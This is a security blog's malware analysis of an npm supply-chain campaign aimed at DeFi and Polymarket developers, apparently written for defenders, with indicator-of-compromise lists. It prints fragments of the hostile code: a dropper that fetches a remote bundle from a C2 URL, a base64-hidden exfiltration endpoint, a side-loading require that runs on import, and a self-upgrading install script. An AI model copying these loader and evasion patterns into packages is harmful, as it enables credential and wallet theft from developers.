The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer

SafeDep Team
8 min read

Table of Contents

TL;DR

Ten npm maintainer accounts coordinated to publish 30 packages targeting DeFi developers. Package names mimic Polymarket tooling and general DeFi math libraries. The operators share C2 infrastructure across separate accounts, built their dropper from a common template, and used four delivery techniques. The second-stage payload is a 2787- to 2887-line JavaScript infostealer that reads crypto wallet vaults, browser credentials, SSH keys, AWS credentials, npm tokens, Docker config, shell history, and password manager databases.

Affected packages and maintainer accounts:

MaintainerPackagesTechnique
ricmoo1[email protected], console-fmt-cliDropper + Side-loader
micha.el.g.ebu.rt.u.z[email protected],1.0.1Dropper
haha1999[email protected],3.5.1, [email protected], [email protected]Dropper + Self-upgrade
garir[email protected], [email protected], [email protected]Dropper + Direct embed + Side-loader
pmtrader[email protected],0.1.1Dropper
ryden.miliano[email protected]Dropper
asdjakldjflkadsjflkajdk[email protected], [email protected], [email protected]Dropper + Side-loader + Direct embed
flax_up[email protected],3.3.9Dropper
polymaster[email protected],3.5.3, [email protected],5.8.0, [email protected], [email protected], [email protected]Dropper + Direct embed + Side-loader chain
rohmat2527[email protected], [email protected], thurdweb, thirdwebjs, thidweb, thirdwebb, therdweb, thirdwb, rainbokit, rainbownkitDirect embed + Typosquats

What the payload collects:

  • Crypto wallet vaults: MetaMask, Phantom, Solflare, OKX Wallet, Coinbase Wallet, TrustWallet, Backpack, TronLink
  • Browser credentials: Chrome, Firefox, Brave cookies (parsed via sql.js) and saved passwords
  • Developer secrets: SSH private keys, AWS credentials, .npmrc tokens, .pypirc, Docker config, GPG keyrings
  • Shell history: bash, zsh, fish, PowerShell (last 10,000 lines)
  • Password managers: Bitwarden vault, KeePass .kdbx, 1Password .1pux
  • Source code regex scan for private key patterns, mnemonic phrases, and API tokens

Background

DeFi packages have no authoritative publisher. clob-client-math reads as a math utility for Polymarket’s CLOB client. decimal-format-core reads as a fixed-point arithmetic helper. There is no Google or Microsoft to impersonate. The operators exploited naming conventions, not brand trust.

Packages in this campaign split across two target profiles: Polymarket protocol developers (the polymarket-* and clob-* names) and general DeFi math tooling users (kelly-*, stake-math, bn-lint, ts-precision). The typosquatting cluster catches any DeFi frontend developer who miskeys thirdweb or rainbowkit.

The bait repository

The entry point was Trum3it/polymarket-arbitrage-bot, a GitHub repository with 36 stars and 53 forks. Victims did not search for an obscure package. They cloned what looked like a working trading bot.

The repository describes a TypeScript bot for Polymarket’s 5-minute crypto prediction markets, promising a “late-window resolution snipe” strategy with annual returns above $80,000. Its package.json lists four dependencies:

{
"dependencies": {
"@polymarket/clob-client": "^5.2.1",
"clob-client-math": "^1.0.1",
"dotenv": "^16.4.5",
"ethers": "^5.7.2"
}
}

@polymarket/clob-client is the official SDK. clob-client-math sits next to it, named to read as a companion math utility. A developer scanning package.json sees two plausible Polymarket packages.

clob-client-math is never imported in src/index.ts. The bot uses only @polymarket/clob-client and ethers. clob-client-math appears in dependencies for one reason: npm install triggers its postinstall hook.

The setup instructions require a .env file with POLYMARKET_PRIVATE_KEY. That key is on disk before npm install finishes. The infostealer reads it.

The repository appeared June 20-22, 2026, the same week the malicious packages were published. Fifty-three developers forked it before the malicious dependency was reported. Each one who ran npm install executed the infostealer.

A public issue filed June 30, 2026 (Trum3it/polymarket-arbitrage-bot#2) flagged clob-client-math as malicious and noted it was declared but never imported. That report prompted the investigation documented here.

The four delivery techniques

Technique 1: The dropper

Nine of the ten accounts used a postinstall hook running scripts/install-check.cjs (or scripts/verify-peer.cjs in some variants). The script reads the C2 URL from the package’s homepage field rather than hardcoding it. No domain appears in the installer script itself, defeating string-search detection.

// scripts/install-check.cjs (representative — present across dropper-technique packages)
const configUrl = process.env.DFC_SYNC_CONFIG || process.env.DFC_PEER_CONFIG || readPackageJson().homepage; // C2 URL stored in package.json homepage field
// fetches JSON config from configUrl → gets bundleUrl → downloads .tgz
// extracts to .peer/ → runs npm install inside → calls peer-math.js syncSession()
const { syncSession } = require(peerModule);
await syncSession();

The JSON config at that URL provides a bundleUrl pointing to a .tgz peer bundle. The dropper extracts it to a hidden .peer/ directory, runs npm install inside to resolve dependencies, then calls syncSession() from peer-math.js. That second-stage bundle is the infostealer.

The dropper code is byte-for-byte identical across packages, with only the env-var prefix changed (DFC_, PSM_, KELLY_). clob-client-math’s installer outputs [polymarket-stake-math] in error messages — the name of a different package in the campaign. Whoever forked the template left the error strings unchanged.

Technique 2: Direct embed

[email protected], ts-bn-lint-helper, and data-parser-utils embed the full infostealer in index.js, roughly 2800 lines, and run it via postinstall: node test.js. Two of these hide the C2 endpoint with base64:

// ts-bn-lint/index.js (representative)
const API_URL = decodeStr('aHR0cHM6Ly9kYXRhLXN0cmVhbS5zcGFjZS9hcGkvdjE=');
// decodes to: https://data-stream.space/api/v1

The payload scans for id.json, config.toml, .env, config.json, and any file containing ====== (a PEM separator that also appears in base64-encoded private keys). Operators tag each victim with {USER}@{localIP} to distinguish them from their own test installs. Some variants embed a DEFAULT_USERNAME_TAG ("piterpan", "pmtrader") to identify which operator deployed the payload.

[email protected] and [email protected] have byte-identical index.js files.

Technique 3: The side-loader

[email protected] is a working wrapper around big.js. Between the divide() and mod() implementations, around lines 605-609, is this:

// ts-precision/big.js, lines 605-609
try {
const doc = require('data-parser-utils');
doc
.from_str()
.then((e) => {})
.catch((e) => {});
} catch (error) {}

data-parser-utils (published by garir) is listed in ts-precision’s dependencies, so npm install ts-precision pulls the infostealer as a transitive dependency. No postinstall hook appears in ts-precision’s metadata. The require() fires at import time, so --ignore-scripts does not stop it.

Two other pairs use the same pattern: ts-escrow requires log-taker1 (both asdjakldjflkadsjflkajdk), and ts-escro requires log-taker (both rohmat2527). bn-lint by polymaster requires ts-bn-lint-helper.

Technique 4: Self-upgrade via the npm registry

haha1999 published [email protected] with clean math functions in index.js and no infostealer code. The postinstall hook runs scripts/sync-peer.cjs:

decimal-format-utils/scripts/sync-peer.cjs
const TARGET_VERSION = process.env.BACKUP_TARGET_VERSION || '1.0.1';
// if current installed version is not TARGET_VERSION:
execSync(`npm pack "${PACKAGE_NAME}@${TARGET_VERSION}" --pack-destination "${packDest}"`);
// extracts the downloaded tarball and overwrites all files in the current install directory
// then calls from_str() from the now-replaced index.js

1.0.0 uses npm to download 1.0.1, then overwrites its own installed files with the payload. The 1.0.0 tarball is clean — any scan, audit, or cache check produces no findings. The registry itself is the delivery mechanism, and the 1.0.0 package contains no external C2 domain.

The second-stage payload

The infostealer in peer-math.js (or embedded in index.js) runs 2787 to 2887 lines depending on the variant. It reads from every major credential source across macOS, Linux, and Windows.

Crypto wallets: The payload reads encrypted vault files from the browser extension storage directories of MetaMask, Phantom, Solflare, OKX Wallet, Coinbase Wallet, TrustWallet, Backpack, and TronLink. It transmits the encrypted vault and any adjacent key material without decrypting.

Browser data: The payload bundles sql.js to parse Chrome, Firefox, and Brave cookie databases directly from the SQLite files. Saved passwords and browsing history are collected alongside.

Developer credentials: SSH private keys (~/.ssh/), AWS credentials, .npmrc tokens, .pypirc, Docker config, and GPG keyrings.

Shell history: bash, zsh, fish, and PowerShell history files, last 10,000 lines each.

Desktop wallets: Exodus and Electrum wallet data files.

Note and productivity apps: Windows Sticky Notes, Notion local cache, OneNote files.

Password managers: Bitwarden vault JSON, KeePass .kdbx files, 1Password .1pux exports.

Source code scan: The payload regex-scans source files in the working directory for private key patterns, BIP-39 mnemonic phrases, and API tokens.

Coordination evidence

Ten separate npm accounts could look like independent actors. Six artifacts say otherwise.

Shared C2 endpoints. polymarket-clob-service.vercel.app exfiltrates data for both micha.el.g.ebu.rt.u.z (clob-client-math) and pmtrader (polymarket-trading-developer-tools). log-taker.store serves rohmat2527 and asdjakldjflkadsjflkajdk the same way. Separate npm accounts, same servers.

Template-generated droppers. install-check.cjs is byte-for-byte identical across all dropper packages, with only the env-var prefix changed. Independent authors do not produce identical code.

Copy-paste error. clob-client-math’s installer outputs [polymarket-stake-math] in error messages. polymarket-stake-math belongs to haha1999, a different account. Whoever forked the template left the error strings unchanged.

Identical payloads. [email protected] and [email protected], both from polymaster, have byte-identical index.js files.

Version inflation. Each account published benign stub versions in the 2.x-3.x range before inserting the payload at a specific version. Tools that flag packages with no history see an established package instead.

Exposed npm token. garir’s data-parser-utils tarball included .npmrc.bak with a live npm authentication token, left in by mistake.

C2 infrastructure

DomainOperatorHosting
logstream-api.onlinericmoo1Dedicated
polymarket-clob-service.vercel.appmicha.el.g.ebu.rt.u.z, pmtraderVercel serverless
vercel-backend-myapp.vercel.apphaha1999Vercel serverless
log-prettier.storegarirDedicated
vercel-backend-green-five.vercel.appgarirVercel serverless
zscdao.helpryden.milianoDedicated
log-taker.storerohmat2527, asdjakldjflkadsjflkajdkDedicated (shared)
trabalhos-flax.vercel.appflax_upVercel serverless
data-stream.spacepolymasterDedicated
pm-trading-dev-tools-be.vercel.apppmtraderVercel serverless (config delivery)

Operators split between Vercel serverless (fast, zero-config) and dedicated domains. The clearest coordination signal is log-taker.store, a dedicated server shared by two separate npm accounts.

The typosquatting cluster

rohmat2527 added typosquats targeting thirdweb and rainbowkit, two widely used DeFi frontend libraries:

  • thirdweb variants: thurdweb, thirdwebjs, thidweb, thirdwebb, therdweb, thirdwb
  • rainbowkit variants: rainbokit, rainbownkit

All require log-taker as a dependency. No postinstall hook appears in the typosquat’s own metadata. Install any of these and log-taker installs alongside it.

Impact

If you ran npm install on an affected version, the infostealer ran too — at install time for dropper and direct-embed packages, at first import for side-loaders. If your lockfile references any version listed here, treat every credential in that environment as compromised.

The target list hits DeFi developers hardest. Wallet vaults, seed phrases in source code, private keys in .env, and browser extension wallet storage are collected alongside AWS credentials, SSH keys, and npm tokens. From a developer’s workstation, those credentials reach CI/CD pipelines and package publishing accounts.

The self-upgrade technique breaks tarball-based security scanning. [email protected] scans clean. The payload arrives only after installation, when the package downloads and overwrites itself with 1.0.1.

Indicators of Compromise

Packages

packages.csv
Package Version Maintainer Technique
1 decimal-format-core 3.5.2 ricmoo1 Dropper
2 console-fmt-cli 2.9.0 ricmoo1 Side-loader (depends on decimal-format-core >=3.0)
3 clob-client-math 1.0.0 micha.el.g.ebu.rt.u.z Dropper
4 clob-client-math 1.0.1 micha.el.g.ebu.rt.u.z Dropper
5 polymarket-stake-math 3.5.0 haha1999 Dropper
6 polymarket-stake-math 3.5.1 haha1999 Dropper
7 logfmt-core 3.5.2 haha1999 Dropper
8 decimal-format-utils 1.0.0 haha1999 Self-upgrade
9 stake-math 3.5.2 garir Dropper
10 stake-math 3.5.3 garir Dropper
11 stake-math 3.5.4 garir Dropper
12 data-parser-utils 3.0.2 garir Direct embed
13 ts-precision 3.7.2 garir Side-loader
14 polymarket-trading-developer-tools 0.1.0 pmtrader Dropper
15 polymarket-trading-developer-tools 0.1.1 pmtrader Dropper
16 kelly-stake 3.5.2 ryden.miliano Dropper
17 kelly-stake 3.5.3 ryden.miliano Dropper
18 kelly-stake 3.5.4 ryden.miliano Dropper
19 kelly-stake 3.5.5 ryden.miliano Dropper
20 kelly-stake 3.5.6 ryden.miliano Dropper
21 polymarket-stake-maths 3.5.2 asdjakldjflkadsjflkajdk Dropper
22 ts-escrow 0.1.0 asdjakldjflkadsjflkajdk Side-loader
23 log-taker1 0.1.0 asdjakldjflkadsjflkajdk Direct embed
24 polymarket-clob-maths 2.3.9 flax_up Dropper
25 polymarket-clob-maths 3.3.9 flax_up Dropper
26 poly-kelly 3.5.2 polymaster Dropper
27 poly-kelly 3.5.3 polymaster Dropper
28 ts-bn-lint 3.1.19 polymaster Direct embed
29 ts-bn-lint 5.8.0 polymaster Side-loader
30 ts-bn-lint-helper 3.1.19 polymaster Direct embed
31 ts-bn-proto 5.8.1 polymaster Direct embed
32 bn-lint 3.0.8 polymaster Side-loader
33 log-taker 0.1.0 rohmat2527 Direct embed
34 ts-escro 0.0.9 rohmat2527 Side-loader
35 thurdweb 0.0.8 rohmat2527 Typosquat (thirdweb)
36 thirdwebjs 0.0.8 rohmat2527 Typosquat (thirdweb)
37 thidweb 0.0.8 rohmat2527 Typosquat (thirdweb)
38 thirdwebb 0.0.8 rohmat2527 Typosquat (thirdweb)
39 therdweb 0.0.8 rohmat2527 Typosquat (thirdweb)
40 thirdwb 0.0.8 rohmat2527 Typosquat (thirdweb)
41 rainbokit 0.0.8 rohmat2527 Typosquat (rainbowkit)
42 rainbownkit 0.0.8 rohmat2527 Typosquat (rainbowkit)
42 rows
| 4 columns

Domains

c2-domains.csv
Domain Operator Role
1 logstream-api.online ricmoo1 C2 exfil
2 polymarket-clob-service.vercel.app micha.el.g.ebu.rt.u.z, pmtrader C2 exfil (shared)
3 vercel-backend-myapp.vercel.app haha1999 C2 exfil
4 log-prettier.store garir C2 exfil
5 vercel-backend-green-five.vercel.app garir C2 exfil
6 pm-trading-dev-tools-be.vercel.app pmtrader Config delivery
7 zscdao.help ryden.miliano C2 exfil
8 log-taker.store rohmat2527, asdjakldjflkadsjflkajdk C2 exfil (shared)
9 trabalhos-flax.vercel.app flax_up C2 exfil
10 data-stream.space polymaster C2 exfil
10 rows
| 3 columns

Accounts

accounts.csv
Account Platform Techniques
1 ricmoo1 npm Dropper, Side-loader
2 micha.el.g.ebu.rt.u.z npm Dropper
3 haha1999 npm Dropper, Self-upgrade
4 garir npm Dropper, Direct embed, Side-loader
5 pmtrader npm Dropper
6 ryden.miliano npm Dropper
7 asdjakldjflkadsjflkajdk npm Dropper, Side-loader, Direct embed
8 flax_up npm Dropper
9 polymaster npm Dropper, Direct embed, Side-loader
10 rohmat2527 npm Direct embed, Typosquats
11 Trum3it GitHub Bait repo owner (polymarket-arbitrage-bot — 53 forks)
11 rows
| 3 columns
  • npm
  • supply-chain
  • malware
  • defi
  • polymarket
  • infostealer

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

MYRA: A Full Linux RAT Distributed via npm

MYRA: A Full Linux RAT Distributed via npm

The npm package apintergrationpost is a red team RAT called MYRA with native C rootkit, triple persistence, fileless execution, live screen streaming, and process masquerade. This analysis documents...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.